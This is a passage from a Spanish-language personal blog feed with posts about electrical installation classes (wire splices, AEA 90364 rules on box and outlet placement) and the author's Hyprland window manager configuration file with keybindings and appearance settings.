<p>Para bajarte youtube-upload: <a href="https://github.com/tokland/youtube-upload">https://github.com/tokland/youtube-upload</a></p>
-
Electricidad / Clase 8 : Clase práctica sobre EMPALMES. Estuve ausente.
https://imlauera.github.io/electricidad8/
Sat, 05 Apr 2025 16:57:37 -0300
https://imlauera.github.io/electricidad8/
<p>Clase práctica sobre EMPALMES. Estuve ausente. Me sentia demasiado mal. Antes de la clase el profesor <strong>Francisco Espeche</strong> mando este video por WhatsApp:</p>
<p><a href="https://www.youtube.com/embed/nXI7tKH1FY0">https://www.youtube.com/embed/nXI7tKH1FY0</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxmquqAaeChlL26mmo050E8xXJ0eV4Kk1PGKae5AihmLmSSN31Z7qFLPLHQSNoRKbTIrvrAm02sWMS1nvaEw3IiCaPYomNLMhtYR2eVV4X57TdLqx4Rpc_-xq3a0Z2Wjf1wFK7UWT5ONiKWf5UIqbSB9tCbtOhbG_UWfRQ2AZchC_atWGqcLvsXoHID8M/s4160/IMG_20250407_182208364.jpg" alt=""></p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiAJHc1vMwa9rBQTYh08LyUToa_F7qpbgRNJSjlNX3e7xt6DaNHyDcsLlmCPZkmTSAfHs93o1Dr582Tt8vGTZV6TaaChJFi5IvBCLgLVVKWNvmMa-zfo29fLFEgfWEOhbh9lXtopsEphXV-CofexPyMT6yYE5UIxbUHm6CkqvAa0Vh8DZrETs4BJ2NVbLY" alt=""></p>
-
Hyprland
https://imlauera.github.io/hyprland/
Sat, 05 Apr 2025 03:41:56 -0300
https://imlauera.github.io/hyprland/
<h6 id="sigo-usando-el-framebuffer-con-eglfs-en-computadoras-lentas">Sigo usando el framebuffer con eglfs en computadoras lentas.</h6>
<p>Mi actual configuración de Hyprland.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># #######################################################################################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># AUTOGENERATED HYPRLAND CONFIG.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># PLEASE USE THE CONFIG PROVIDED IN THE GIT REPO /examples/hyprland.conf AND EDIT IT,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># OR EDIT THIS ONE ACCORDING TO THE WIKI INSTRUCTIONS.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># #######################################################################################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#autogenerated = 1 # remove this line to remove the warning</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This is an example Hyprland config file.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Refer to the wiki for more information.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Please note not all available settings / options are set here.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># For a full list, see the wiki</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># You can split this configuration into multiple files</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create your files separately and then link them to this file like this:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># source = ~/.config/hypr/myColors.conf</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### MONITORS ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Monitors/</span>
</span></span><span style="display:flex;"><span>monitor<span style="color:#f92672">=</span>,preferred,auto,auto
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">###################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### MY PROGRAMS ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">###################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Keywords/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Set programs that you use</span>
</span></span><span style="display:flex;"><span>$terminal <span style="color:#f92672">=</span> kitty -e tmux
</span></span><span style="display:flex;"><span>$fileManager <span style="color:#f92672">=</span> pcmanfm
</span></span><span style="display:flex;"><span>$menu <span style="color:#f92672">=</span> wmenu-run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### AUTOSTART ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Autostart necessary processes (like notifications daemons, status bars, etc.)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Or execute your favorite apps at launch like this:</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec-once = $terminal</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec-once = nm-applet &</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># exec-once = waybar & hyprpaper & firefox</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#############################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### ENVIRONMENT VARIABLES ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Environment-variables/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>env <span style="color:#f92672">=</span> XCURSOR_SIZE,24
</span></span><span style="display:flex;"><span>env <span style="color:#f92672">=</span> HYPRCURSOR_SIZE,24
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#####################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### LOOK AND FEEL ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#####################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Refer to https://wiki.hyprland.org/Configuring/Variables/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#general</span>
</span></span><span style="display:flex;"><span>general <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> gaps_in <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span> gaps_out <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> border_size <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#variable-types for info about colors</span>
</span></span><span style="display:flex;"><span> col.active_border <span style="color:#f92672">=</span> rgba<span style="color:#f92672">(</span>33ccffee<span style="color:#f92672">)</span> rgba<span style="color:#f92672">(</span>00ff99ee<span style="color:#f92672">)</span> 45deg
</span></span><span style="display:flex;"><span> col.inactive_border <span style="color:#f92672">=</span> rgba<span style="color:#f92672">(</span>595959aa<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Set to true enable resizing windows by clicking and dragging on borders and gaps</span>
</span></span><span style="display:flex;"><span> resize_on_border <span style="color:#f92672">=</span> false
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Please see https://wiki.hyprland.org/Configuring/Tearing/ before you turn this on</span>
</span></span><span style="display:flex;"><span> allow_tearing <span style="color:#f92672">=</span> false
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> layout <span style="color:#f92672">=</span> dwindle
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#decoration</span>
</span></span><span style="display:flex;"><span>decoration <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> rounding <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> rounding_power <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Change transparency of focused and unfocused windows</span>
</span></span><span style="display:flex;"><span> active_opacity <span style="color:#f92672">=</span> 1.0
</span></span><span style="display:flex;"><span> inactive_opacity <span style="color:#f92672">=</span> 1.0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> shadow <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> enabled <span style="color:#f92672">=</span> true
</span></span><span style="display:flex;"><span> range <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span> render_power <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span> color <span style="color:#f92672">=</span> rgba<span style="color:#f92672">(</span>1a1a1aee<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#blur</span>
</span></span><span style="display:flex;"><span> blur <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> enabled <span style="color:#f92672">=</span> true
</span></span><span style="display:flex;"><span> size <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span> passes <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> vibrancy <span style="color:#f92672">=</span> 0.1696
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#animations</span>
</span></span><span style="display:flex;"><span>animations <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> enabled <span style="color:#f92672">=</span> yes, please :<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Default animations, see https://wiki.hyprland.org/Configuring/Animations/ for more</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> bezier <span style="color:#f92672">=</span> easeOutQuint,0.23,1,0.32,1
</span></span><span style="display:flex;"><span> bezier <span style="color:#f92672">=</span> easeInOutCubic,0.65,0.05,0.36,1
</span></span><span style="display:flex;"><span> bezier <span style="color:#f92672">=</span> linear,0,0,1,1
</span></span><span style="display:flex;"><span> bezier <span style="color:#f92672">=</span> almostLinear,0.5,0.5,0.75,1.0
</span></span><span style="display:flex;"><span> bezier <span style="color:#f92672">=</span> quick,0.15,0,0.1,1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> global, 1, 10, default
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> border, 1, 5.39, easeOutQuint
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> windows, 1, 4.79, easeOutQuint
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> windowsIn, 1, 4.1, easeOutQuint, popin 87%
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> windowsOut, 1, 1.49, linear, popin 87%
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> fadeIn, 1, 1.73, almostLinear
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> fadeOut, 1, 1.46, almostLinear
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> fade, 1, 3.03, quick
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> layers, 1, 3.81, easeOutQuint
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> layersIn, 1, 4, easeOutQuint, fade
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> layersOut, 1, 1.5, linear, fade
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> fadeLayersIn, 1, 1.79, almostLinear
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> fadeLayersOut, 1, 1.39, almostLinear
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> workspaces, 1, 1.94, almostLinear, fade
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> workspacesIn, 1, 1.21, almostLinear, fade
</span></span><span style="display:flex;"><span> animation <span style="color:#f92672">=</span> workspacesOut, 1, 1.94, almostLinear, fade
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ref https://wiki.hyprland.org/Configuring/Workspace-Rules/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># "Smart gaps" / "No gaps when only"</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># uncomment all if you wish to use that.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># workspace = w[tv1], gapsout:0, gapsin:0</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># workspace = f[1], gapsout:0, gapsin:0</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># windowrule = bordersize 0, floating:0, onworkspace:w[tv1]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># windowrule = rounding 0, floating:0, onworkspace:w[tv1]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># windowrule = bordersize 0, floating:0, onworkspace:f[1]</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># windowrule = rounding 0, floating:0, onworkspace:f[1]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Dwindle-Layout/ for more</span>
</span></span><span style="display:flex;"><span>dwindle <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> pseudotile <span style="color:#f92672">=</span> true <span style="color:#75715e"># Master switch for pseudotiling. Enabling is bound to mainMod + P in the keybinds section below</span>
</span></span><span style="display:flex;"><span> preserve_split <span style="color:#f92672">=</span> true <span style="color:#75715e"># You probably want this</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Master-Layout/ for more</span>
</span></span><span style="display:flex;"><span>master <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> new_status <span style="color:#f92672">=</span> master
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#misc</span>
</span></span><span style="display:flex;"><span>misc <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> force_default_wallpaper <span style="color:#f92672">=</span> -1 <span style="color:#75715e"># Set to 0 or 1 to disable the anime mascot wallpapers</span>
</span></span><span style="display:flex;"><span> disable_hyprland_logo <span style="color:#f92672">=</span> false <span style="color:#75715e"># If true disables the random hyprland logo / anime girl background. :(</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#############</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### INPUT ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#############</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#input</span>
</span></span><span style="display:flex;"><span>input <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> kb_layout <span style="color:#f92672">=</span> es
</span></span><span style="display:flex;"><span> kb_variant <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> kb_model <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> kb_options <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span> kb_rules <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> follow_mouse <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> sensitivity <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span> <span style="color:#75715e"># -1.0 - 1.0, 0 means no modification.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> touchpad <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> natural_scroll <span style="color:#f92672">=</span> false
</span></span><span style="display:flex;"><span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://wiki.hyprland.org/Configuring/Variables/#gestures</span>
</span></span><span style="display:flex;"><span>gestures <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> workspace_swipe <span style="color:#f92672">=</span> false
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Example per-device config</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Keywords/#per-device-input-configs for more</span>
</span></span><span style="display:flex;"><span>device <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> name <span style="color:#f92672">=</span> epic-mouse-v1
</span></span><span style="display:flex;"><span> sensitivity <span style="color:#f92672">=</span> -0.5
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">###################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### KEYBINDINGS ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">###################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Keywords/</span>
</span></span><span style="display:flex;"><span>$mainMod <span style="color:#f92672">=</span> SUPER <span style="color:#75715e"># Sets "Windows" key as main modifier</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Example binds, see https://wiki.hyprland.org/Configuring/Binds/ for more</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, RETURN, exec, $terminal
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, F,fullscreen
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, C, killactive,
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, Q, exit,
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, E, exec, $fileManager
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, V, togglefloating,
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, R, exec, $menu
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, P, pseudo, <span style="color:#75715e"># dwindle</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, J, togglesplit, <span style="color:#75715e"># dwindle</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Move focus with mainMod + arrow keys</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, left, movefocus, l
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, right, movefocus, r
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, up, movefocus, u
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, down, movefocus, d
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, TAB, focuscurrentorlast
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Switch workspaces with mainMod + [0-9]</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 1, workspace, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 2, workspace, <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 3, workspace, <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 4, workspace, <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 5, workspace, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 6, workspace, <span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 7, workspace, <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 8, workspace, <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 9, workspace, <span style="color:#ae81ff">9</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, 0, workspace, <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Move active window to a workspace with mainMod + SHIFT + [0-9]</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 1, movetoworkspace, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 2, movetoworkspace, <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 3, movetoworkspace, <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 4, movetoworkspace, <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 5, movetoworkspace, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 6, movetoworkspace, <span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 7, movetoworkspace, <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 8, movetoworkspace, <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 9, movetoworkspace, <span style="color:#ae81ff">9</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, 0, movetoworkspace, <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Example special workspace (scratchpad)</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, S, togglespecialworkspace, magic
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod SHIFT, S, movetoworkspace, special:magic
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Scroll through existing workspaces with mainMod + scroll</span>
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, mouse_down, workspace, e+1
</span></span><span style="display:flex;"><span>bind <span style="color:#f92672">=</span> $mainMod, mouse_up, workspace, e-1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Move/resize windows with mainMod + LMB/RMB and dragging</span>
</span></span><span style="display:flex;"><span>bindm <span style="color:#f92672">=</span> $mainMod, mouse:272, movewindow
</span></span><span style="display:flex;"><span>bindm <span style="color:#f92672">=</span> $mainMod, mouse:273, resizewindow
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Laptop multimedia keys for volume and LCD brightness</span>
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86AudioRaiseVolume, exec, wpctl set-volume -l <span style="color:#ae81ff">1</span> @DEFAULT_AUDIO_SINK@ 5%+
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86AudioLowerVolume, exec, wpctl set-volume @DEFAULT_AUDIO_SINK@ 5%-
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86AudioMute, exec, wpctl set-mute @DEFAULT_AUDIO_SINK@ toggle
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86AudioMicMute, exec, wpctl set-mute @DEFAULT_AUDIO_SOURCE@ toggle
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86MonBrightnessUp, exec, brightnessctl s 10%+
</span></span><span style="display:flex;"><span>bindel <span style="color:#f92672">=</span> ,XF86MonBrightnessDown, exec, brightnessctl s 10%-
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Requires playerctl</span>
</span></span><span style="display:flex;"><span>bindl <span style="color:#f92672">=</span> , XF86AudioNext, exec, playerctl next
</span></span><span style="display:flex;"><span>bindl <span style="color:#f92672">=</span> , XF86AudioPause, exec, playerctl play-pause
</span></span><span style="display:flex;"><span>bindl <span style="color:#f92672">=</span> , XF86AudioPlay, exec, playerctl play-pause
</span></span><span style="display:flex;"><span>bindl <span style="color:#f92672">=</span> , XF86AudioPrev, exec, playerctl previous
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">##############################</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### WINDOWS AND WORKSPACES ###</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Window-Rules/ for more</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># See https://wiki.hyprland.org/Configuring/Workspace-Rules/ for workspace rules</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Example windowrule</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># windowrule = float,class:^(kitty)$,title:^(kitty)$</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ignore maximize requests from apps. You'll probably like this.</span>
</span></span><span style="display:flex;"><span>windowrule <span style="color:#f92672">=</span> suppressevent maximize, class:.*
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Fix some dragging issues with XWayland</span>
</span></span><span style="display:flex;"><span>windowrule <span style="color:#f92672">=</span> nofocus,class:^$,title:^$,xwayland:1,floating:1,fullscreen:0,pinned:0
</span></span></code></pre></div>
-
Electricidad / Clase 7: Empalmes. Reglamentación AEA 90364: Altura colocar cajas. Ubicación de las bocas de interruptores de efecto. Ubicación de las bocas de tomacorrientes. Clase que viene realizaremos: uniones en cajas de paso, ortogonal y 5x10
https://imlauera.github.io/electricidad7/
Tue, 01 Apr 2025 05:58:22 -0300
https://imlauera.github.io/electricidad7/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1ogqpgbNGUlR">https://vocaroo.com/1ogqpgbNGUlR</a></p>
<h4 id="audio-en-archiveorg">Audio en Archive.org:</h4>
<p><a href="https://archive.org/details/record-66">https://archive.org/details/record-66</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/icXGJc3v5fg">https://www.youtube.com/embed/icXGJc3v5fg</a></p>
<hr>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVlzj-pPrkoSFLyve_q5MoH78PMIoVIPsBpG0ZpeRBmGppm-ueclasF-q2NfAmkdQr8dnFOsuWKXpLP1dd9WBacx5mKsgitYPSDmjAKWGI0CpH7ePz5MgKopAOjIJpV86IkObCyoWqRar99_QUgYjwnDaZPX-vVsuJQsum8SpAuEL-s1-KTzlRXiUj2q0/s4160/IMG_20250331_183953705.jpg" alt=""> <br>
